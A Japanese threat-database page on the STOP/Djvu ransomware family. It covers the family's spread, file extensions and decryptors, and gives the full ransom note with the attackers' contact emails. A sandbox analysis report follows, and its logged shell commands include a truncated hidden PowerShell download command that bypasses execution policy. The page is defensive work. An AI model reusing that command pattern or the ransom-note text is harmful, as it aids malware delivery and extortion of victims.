脅威データベース ランサムウェア ストップ Djvu ランサムウェア

ストップ Djvu ランサムウェア

ランサムウェア年GoldSparrowまで
公開日：
最終更新:
翻訳内容：

STOP Djvu ランサムウェア ファミリとも呼ばれる STOP ランサムウェア ファミリは、脅威となるマルウェアです。 STOP Djvu は、共通の特徴を共有し、STOP ランサムウェアを起源とする複数の脅威の 1 つにすぎません。ただし、ファイル タイプに影響を与え、ファイル拡張子を暗号化する方法の一部は異なります。

最初のSTOP ランサムウェアは、2018 年 2 月にセキュリティ研究者によって発見されました。しかし、それ以来、進化を続け、そのクローンと派生物のファミリーが拡大しています。 STOP ランサムウェアの主な配布方法は、破損した添付ファイルを使用したスパム メール キャンペーンでした。

STOP Djvu Ransomware は、この種の他のランサムウェアの脅威と同様の方法で動作し、ユーザーがシステムで使用している可能性のあるキー ファイルへのアクセスを暗号化してブロックします。個人的なファイル、写真、ドキュメントなどを暗号化して、マシン上のすべてのユーザーに対して基本的に無効にすることができます。 STOP Djvu Ransomware が最初に発見されたのは 2018 年 12 月のことで、オンラインの感染キャンペーンはかなり成功したように見えました。研究者は、ランサムウェアがどのように拡散するかを認識していませんでしたが、その後、被害者は、keygens またはクラックをダウンロードした後に感染を発見したと報告しました。侵入が発生すると、STOP Djvu ランサムウェアは Windows の設定を変更し、.djvu、.djvus、.djvuu、.uudjvu、.udjvu、.djvuq などのさまざまな名前のファイルと、最近の .promorad および .promock 拡張子を追加します。新しいバージョンにはまだデクリプターがありませんが、古いバージョンは STOPDecrypter を使用して解読できます。ユーザーは、何があっても身代金を支払わないようにすることをお勧めします。

ファイルへのアクセスをブロックするために使用される方法は、RSA 暗号化アルゴリズムを使用します。経験の浅いユーザーにとってはファイルの復号化は難しいように見えるかもしれませんが、脅威の背後にいる人々に金銭を支払う努力をする必要はまったくありません。このような状況では通常、偽の約束が与えられるため、ユーザーは支払いが行われると、それらが無視されていることにすぐに気付く可能性があります。

STOP Djvu ランサムウェアの攻撃が最初に報告されたのは 2018 年後半でした。STOP Djvu の主な配布方法はスパムメールのままであり、ランサムウェアのコアへの微調整は比較的小規模でした。スパムメールで使用された偽の感染した添付ファイルの大部分は、マクロが有効化されたオフィス文書または偽の PDF ファイルで、被害者の知らないうちにランサムウェアを実行していました。 STOP Djvu の動作もあまり変わっていません。ランサムウェアは引き続きすべてのシャドウ ボリューム スナップショットを削除してバックアップを削除し、被害者のファイルの暗号化を開始します。

被害者のデスクトップに「_openme.txt」として保存される身代金メモに若干の変更が加えられています。身代金メモのテキストは次の場所にあります。

'[身代金メモ開始]
———————— すべてのファイルが暗号化されています ————————

心配しないで、すべてのファイルを返すことができます。
すべてのファイル、ドキュメント、写真、データベース、その他の重要なファイルは、最も強力な暗号化と一意のキーで暗号化されます。
ファイルを回復する唯一の方法は、復号化ツールと一意のキーを購入することです。
このソフトウェアは、暗号化されたすべてのファイルを復号化します。
私たちはあなたにどのような保証を提供しますか?
暗号化されたファイルの 1 つを PC から送信すると、無料で復号化できます。
ただし、無料で復号化できるファイルは 1 つだけです。ファイルには貴重な情報が含まれていてはいけません
ファイルを破壊するため、サードパーティの復号化ツールを使用しないでください。
最初の 72 時間にご連絡いただくと、50% の割引をご利用いただけます。

――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――

このソフトウェアを入手するには、電子メールに次のように記入する必要があります。
helpshadow@india.com

お問い合わせ先のメールアドレスを予約してください:
helpshadow@firemail.cc

あなたの個人ID: [string]
[身代金注記終了]」

ランサムウェアは、暗号化されたファイルの名前を最初は .djvu 拡張子に変更することに制限されていましたが、.djvu は実際には AT&T Labs によって開発され、スキャンされたドキュメントの保存に使用される正当なファイル形式であり、Adobe の .pdf にいくらか似ているため、これは興味深い選択でした。ランサムウェアのその後のバージョンでは、「.chech」、「.luceq」、「.kroput1」、「.charck」、「.kropun」、「.luces」、「.pulsar1」などの一連の他の拡張子が暗号化されたファイルに採用されました。 「.uudjvu」「.djvur」「.tfude」「.tfudeq」「.tfudet」。

STOP Djvu ランサムウェアの特定の株は、セキュリティ研究者の Michael Gillespie によって開発されたいわゆる「STOPDecrypter」を使用して無料で復号化でき、オンラインで無料ダウンロードできます。

ストップ Djvu ランサムウェアビデオ

ヒント：サウンドをオンにして、フルスクリーンモードでビデオを視聴します。

ストップ Djvu ランサムウェアスクリーンショット

stop djvu ransomware note

分析レポート

一般情報

苗字： STOP/DJVU Ransomware
署名ステータス: No Signature

既知のサンプル

MD5: def8a7bfe5fe47d95a95085d8dbc7a53
SHA1: 7182d4b2f55a560d83edf0824e119f71fa8422b6
SHA256: B83855EA63E7F28396099A5B6E877BE537E78E4A50DF720262461A1D13B02192
ファイルサイズ: 6.29 MB 、 6292105バイト
MD5: a6b8c0cb178c31dd347554c3e5a0d5f8
SHA1: 91864f269d696ee80869cfeb3c9a204f8031a3bb
SHA256: 4FFB8E9ADF508662B5E51CBEC75B2E07CE1CBBFAAB873F72EDC7BAC385421E2C
ファイルサイズ: 3.47 MB 、 3471869バイト
MD5: 2336c9624d9a44c393d354206226f508
SHA1: ea7edc388ad62990f52b9ed40df26d20f4e20190
SHA256: CE48ED04C92143B7E91F9665DD9337B2EE0B9CC1B5AEE534D26C09E084F8ABB0
ファイルサイズ: 1.36 MB 、 1359918バイト
MD5: 42f32aa699bc45a3638ddeb325ebebc1
SHA1: 508cea3ba2bf04cc6851295f92bf0e752071f6b8
SHA256: 16532B38591B713395C288B11610494BCC4C4537BE492D43C54D66FEB7B95FA4
ファイルサイズ: 1.33 MB 、 1328186バイト
MD5: 2391d41548b6432191f73edefa273928
SHA1: 620b714f84955aa7fb9a2f2cd528daa1621e18af
SHA256: 4D1EFAA3477B0B8D84025F3F0109E97ABA7CEB37F174B9DC79B7966CBB430959
ファイルサイズ: 3.36 MB 、 3357556バイト
もっと見る
MD5: 710c3a1beb616d4aa7d5ed9a7f8848e4
SHA1: 326da9ddc0ea840e83f31fbf1f3377a06c911fe5
SHA256: 051DAB5E5247E25D6EB059A574383FB1EC99A5A4AAF9AA3694240FE25FA260AB
ファイルサイズ: 1.36 MB 、 1364106バイト
MD5: 601b120a6f39f72847b2f581a3d5f158
SHA1: 0cc5781c1cfe6c5d034bd098229773e80e083732
SHA256: BEC2BFF460615A35D4EA35BF25E9F89337E35E73441A4AC07562CE8E89BED818
ファイルサイズ: 4.86 MB 、 4858569バイト
MD5: a7b76a49f289081961f8f3824f0b62ca
SHA1: 6908790199785be7fc6c4eeb1fe426ee1b66cc0b
SHA256: 1A721E054386833AEBBF94C75871143376897E92C4A48278DDE95E6987634F45
ファイルサイズ: 1.41 MB 、 1406899バイト
MD5: 9f37930d62a1e08f68aa0a72472e7a55
SHA1: 27706b3ff639e5dfa264a823dbe9229cf34ae153
SHA256: 29039902EEA4EE24C4C6368AA9B1D7F86BEC65ADA3ABDB0B92C1FEF311ACD31F
ファイルサイズ: 600.12 KB 、 600124バイト
MD5: 7a18839fe61e9cde0e8fea3100acfb2b
SHA1: 9476c97a73e027016e9f6f2f20c2fb19264cd837
SHA256: 0271095F0AD5C6F26C9738ED5636E751B8868C1AE3B08D5D8C5218121D9FEEAF
ファイルサイズ: 316.83 KB 、 316832バイト
MD5: fe17d0f940a226e80cc18b4399da4ffc
SHA1: cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b
SHA256: D869A00DFA1BE0DF6D08BB72B790894D1861834D5E350F5DD54A70C3711BA713
ファイルサイズ: 1.36 MB 、 1363661バイト
MD5: ed83bea5600457af815495b10f235b87
SHA1: 14ac62ce3ae6b19186544e46ad7710d1814e3a9c
SHA256: FC0AE843E31F77574448FF343F0E92A9F1953B43DC2495FFE2CA5F7F8E777401
ファイルサイズ: 9.59 MB 、 9590154バイト
MD5: 8cc4ef6bfd98074474e53cefc0029d0a
SHA1: 7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9
SHA256: 72BE2A65C8E36058A40FB1EF582E944721F5D041044F454509242E00E6745198
ファイルサイズ: 1.41 MB 、 1407173バイト
MD5: 75e7ec1010908f6cf964ee32c9d57fed
SHA1: 7cccec52318eadb6771ceef6404e19fc46ec8d07
SHA256: A309D56010D51F07741773ABCC44C767EF99C1031DEFA575F07D11DD11F09E35
ファイルサイズ: 2.44 MB 、 2442353バイト

Windowsポータブル実行可能ファイルの属性

  • File doesn't have "Rich" header
  • File doesn't have debug information
  • File doesn't have exports table
  • File doesn't have relocations information
  • File doesn't have security information
  • File has exports table
  • File has TLS information
  • File is 32-bit executable
  • File is 64-bit executable
  • File is either console or GUI application
もっと見る
  • File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
  • File is Native application (NOT .NET application)
  • File is not packed
  • IMAGE_FILE_DLL is not set inside PE header (Executable)
  • IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

ファイルアイコン

Windows PE バージョン情報

ネーム 価値
Assembly Version 1.4.1.0
Comments This installation was built with Inno Setup.
Company Name
  • Alexander Roshal
  • Microsoft
  • TrayToolbar
  • win.rar GmbH
  • WinTools Software Engineering, Ltd.
File Description
  • Archiwizer WinRAR
  • Gestione archivi WinRAR
  • RAM Saver Professional
  • TrayToolbar
  • WinRAR 5.60 64 Bit Setup
  • WinRAR archiver
  • WinRAR Installer
File Version
  • 26.3.1
  • 26.2.1
  • 26.0.1
  • 25.7.1
  • 25.6.1
  • 25.4.1
  • 7.21.0.0
  • 6.20.2
  • 6.2.0
  • 1.4.1.0
もっと見る
  • 1.3.0.0
  • 1.00
Internal Name
  • TJprojMain
  • TrayToolbar.dll
  • Win
  • WinRAR
  • winrar-7.21-setup
Legal Copyright
  • Copyright © 1993-2026 Александр Рошал
  • Copyright © Alexander Roshal 1993-2021
  • Copyright © Alexander Roshal 1993-2022
  • Copyright © Alexander Roshal 1993-2025
  • © Brontech, LLC
Original Filename
  • TJprojMain.exe
  • TrayToolbar.dll
  • Win.exe
  • winrar-7.21-setup.exe
  • WinRAR.exe
Product Name
  • Project1
  • RAM Saver 25.4.1 Professional
  • RAM Saver 25.6.1 Professional
  • RAM Saver 25.7.1 Professional
  • RAM Saver 26.0.1 Professional
  • RAM Saver 26.2.1 Professional
  • RAM Saver 26.3.1 Professional
  • TrayToolbar
  • Win
  • WinRAR
もっと見る
  • WinRAR 5.60 64 Bit
  • WinRAR Installer
Product Version
  • 26.3.1
  • 26.2.1
  • 26.0.1
  • 25.7.1
  • 25.6.1
  • 25.4.1
  • 7.21
  • 6.20.2
  • 6.2.0
  • 5.60
もっと見る
  • 1.4.1+80dec33e25323db7125ddec35b475aa881292801
  • 1.4.0
  • 1.00

デジタル署名

署名者 根 状態
win.rar GmbH DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 Self Signed
win.rar GmbH GlobalSign CodeSigning CA - SHA256 - G3 Hash Mismatch

ファイル特性

  • .NET
  • 2+ executable sections
  • big overlay
  • fptable
  • HighEntropy
  • Inno
  • InnoSetup Installer
  • Installer Manifest
  • Installer Version
  • MZ (In Overlay)
もっと見る
  • No Version Info
  • Nullsoft Installer
  • RAR (In Overlay)
  • RARinO
  • Run
  • SusSec
  • vb6
  • WinRAR SFX
  • WRARSFX
  • x64
  • x86

ファイルが変更されました

ファイル 属性
\device\namedpipe Generic Read,Write Attributes
\device\namedpipe Generic Write,Read Attributes
\device\namedpipe\gmdasllogger Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-13e8d.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-2buvv.tmp\_isetup\_setup64.tmp Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-88uan.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-8gkji.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-af9e7.tmp\_isetup\_setup64.tmp Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-bfiig.tmp\_isetup\_setup64.tmp Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-dlucn.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp Generic Write,Read Attributes
もっと見る
c:\users\user\appdata\local\temp\is-du263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-i0kj9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-jos42.tmp\_isetup\_setup64.tmp Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-l4opd.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\is-pk5hm.tmp\_isetup\_setup64.tmp Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-r9udb.tmp\_isetup\_setup64.tmp Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\is-shkd6.tmp\_isetup\_setup64.tmp Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\nshfa46.tmp\chip.bmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\header.bmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\nsdialogs.dll Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\screenshot.bmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\system.dll Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\winrar-x64-721b1ru.exe Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandex.bmp Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nshfa46.tmp\yandexbrowsersetup.exe Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsrfa35.tmp Generic Read,Write Data,Write Attributes,Write extended,Append data,Delete
c:\users\user\appdata\local\temp\nsva331.tmp\banner.dll Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\nsexec.dll Generic Write,Read Attributes
c:\users\user\appdata\local\temp\nsva331.tmp\system.dll Generic Write,Read Attributes

レジストリの変更

キー::値 データ API名
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75 wk�8�jg�B �� �6 �v �� 7� �� �� ۀ���T�B���������%��3bBx�<���!#��$kF$��%`�%�&� &�-'�!(�(X�(�) ;)E)�`*J*9*�",=�-!R0P%1`1�1HO5,]5�G>��@V�@�*A��B B��E�mF  RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe 졷鑂셱ǜ RegNtPreCreateKey

Windows API の使用方法

カテゴリ API
Other Suspicious
  • SetWindowsHookEx
Anti Debug
  • IsDebuggerPresent
  • OutputDebugString
User Data Access
  • GetUserDefaultLocaleName
  • GetUserObjectInformation
Process Manipulation Evasion
  • NtUnmapViewOfSection
  • ZwMapViewOfSection
Process Shell Execute
  • CreateProcess
Keyboard Access
  • GetKeyState
Syscall Use
  • ntdll.dll!NtAccessCheck
  • ntdll.dll!NtAlertThreadByThreadId
  • ntdll.dll!NtAlpcConnectPortEx
  • ntdll.dll!NtAlpcCreateSecurityContext
  • ntdll.dll!NtAlpcDeleteSecurityContext
  • ntdll.dll!NtAlpcQueryInformation
  • ntdll.dll!NtAlpcSendWaitReceivePort
  • ntdll.dll!NtApphelpCacheControl
  • ntdll.dll!NtClearEvent
  • ntdll.dll!NtClose
もっと見る
  • ntdll.dll!NtConnectPort
  • ntdll.dll!NtCreateEvent
  • ntdll.dll!NtCreateMutant
  • ntdll.dll!NtCreateSection
  • ntdll.dll!NtCreateSemaphore
  • ntdll.dll!NtCreateThreadEx
  • ntdll.dll!NtDuplicateObject
  • ntdll.dll!NtDuplicateToken
  • ntdll.dll!NtEnumerateValueKey
  • ntdll.dll!NtFreeVirtualMemory
  • ntdll.dll!NtMapViewOfSection
  • ntdll.dll!NtNotifyChangeKey
  • ntdll.dll!NtOpenDirectoryObject
  • ntdll.dll!NtOpenEvent
  • ntdll.dll!NtOpenFile
  • ntdll.dll!NtOpenKey
  • ntdll.dll!NtOpenKeyEx
  • ntdll.dll!NtOpenProcessToken
  • ntdll.dll!NtOpenProcessTokenEx
  • ntdll.dll!NtOpenSection
  • ntdll.dll!NtOpenSemaphore
  • ntdll.dll!NtOpenThreadToken
  • ntdll.dll!NtOpenThreadTokenEx
  • ntdll.dll!NtProtectVirtualMemory
  • ntdll.dll!NtQueryAttributesFile
  • ntdll.dll!NtQueryFullAttributesFile
  • ntdll.dll!NtQueryInformationFile
  • ntdll.dll!NtQueryInformationProcess
  • ntdll.dll!NtQueryInformationThread
  • ntdll.dll!NtQueryInformationToken
  • ntdll.dll!NtQueryKey
  • ntdll.dll!NtQueryLicenseValue
  • ntdll.dll!NtQueryPerformanceCounter
  • ntdll.dll!NtQuerySecurityAttributesToken
  • ntdll.dll!NtQuerySecurityObject
  • ntdll.dll!NtQuerySystemInformation
  • ntdll.dll!NtQuerySystemInformationEx
  • ntdll.dll!NtQueryValueKey
  • ntdll.dll!NtQueryVirtualMemory
  • ntdll.dll!NtQueryVolumeInformationFile
  • ntdll.dll!NtQueryWnfStateData
  • ntdll.dll!NtReleaseMutant
  • ntdll.dll!NtReleaseSemaphore
  • ntdll.dll!NtReleaseWorkerFactoryWorker
  • ntdll.dll!NtRequestWaitReplyPort
  • ntdll.dll!NtResumeThread
  • ntdll.dll!NtSetEvent
  • ntdll.dll!NtSetInformationKey
  • ntdll.dll!NtSetInformationProcess
  • ntdll.dll!NtSetInformationThread
  • ntdll.dll!NtSetInformationVirtualMemory
  • ntdll.dll!NtSetInformationWorkerFactory
  • ntdll.dll!NtSetTimer2
  • ntdll.dll!NtSubscribeWnfStateChange
  • ntdll.dll!NtTestAlert
  • ntdll.dll!NtTraceControl
  • ntdll.dll!NtUnmapViewOfSection
  • ntdll.dll!NtUnmapViewOfSectionEx
  • ntdll.dll!NtWaitForAlertByThreadId
  • ntdll.dll!NtWaitForMultipleObjects
  • ntdll.dll!NtWaitForSingleObject
  • ntdll.dll!NtWaitForWorkViaWorkerFactory
  • ntdll.dll!NtWaitLowEventPair
  • ntdll.dll!NtWorkerFactoryWorkerReady
  • ntdll.dll!NtWriteFile
  • UNKNOWN
Encryption Used
  • BCryptOpenAlgorithmProvider

シェルコマンドの実行

"C:\Users\Lehsoaco\AppData\Local\Temp\is-88UAN.tmp\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918.tmp" /SL5="$5036E,928289,131584,c:\users\user\downloads\ea7edc388ad62990f52b9ed40df26d20f4e20190_0001359918"
"C:\Users\Dfhrhqtz\AppData\Local\Temp\is-13E8D.tmp\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186.tmp" /SL5="$802E8,896816,131584,c:\users\user\downloads\508cea3ba2bf04cc6851295f92bf0e752071f6b8_0001328186"
"C:\Users\Eberzneu\AppData\Local\Temp\is-DU263.tmp\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106.tmp" /SL5="$30364,932379,131584,c:\users\user\downloads\326da9ddc0ea840e83f31fbf1f3377a06c911fe5_0001364106"
"C:\Users\Qxnqehmu\AppData\Local\Temp\is-8GKJI.tmp\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569.tmp" /SL5="$402E8,3435751,309760,c:\users\user\downloads\0cc5781c1cfe6c5d034bd098229773e80e083732_0004858569"
"C:\Users\Qlwpcgcn\AppData\Local\Temp\is-I0KJ9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp" /SL5="$30336,975597,131584,c:\users\user\downloads\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899"
もっと見る
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient
"C:\Users\Czxnhiuo\AppData\Local\Temp\is-L4OPD.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp" /SL5="$40356,931898,131584,c:\users\user\downloads\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661"
"C:\Users\Rziyzfeg\AppData\Local\Temp\is-DLUCN.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp" /SL5="$1C02AC,975756,131584,c:\users\user\downloads\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173"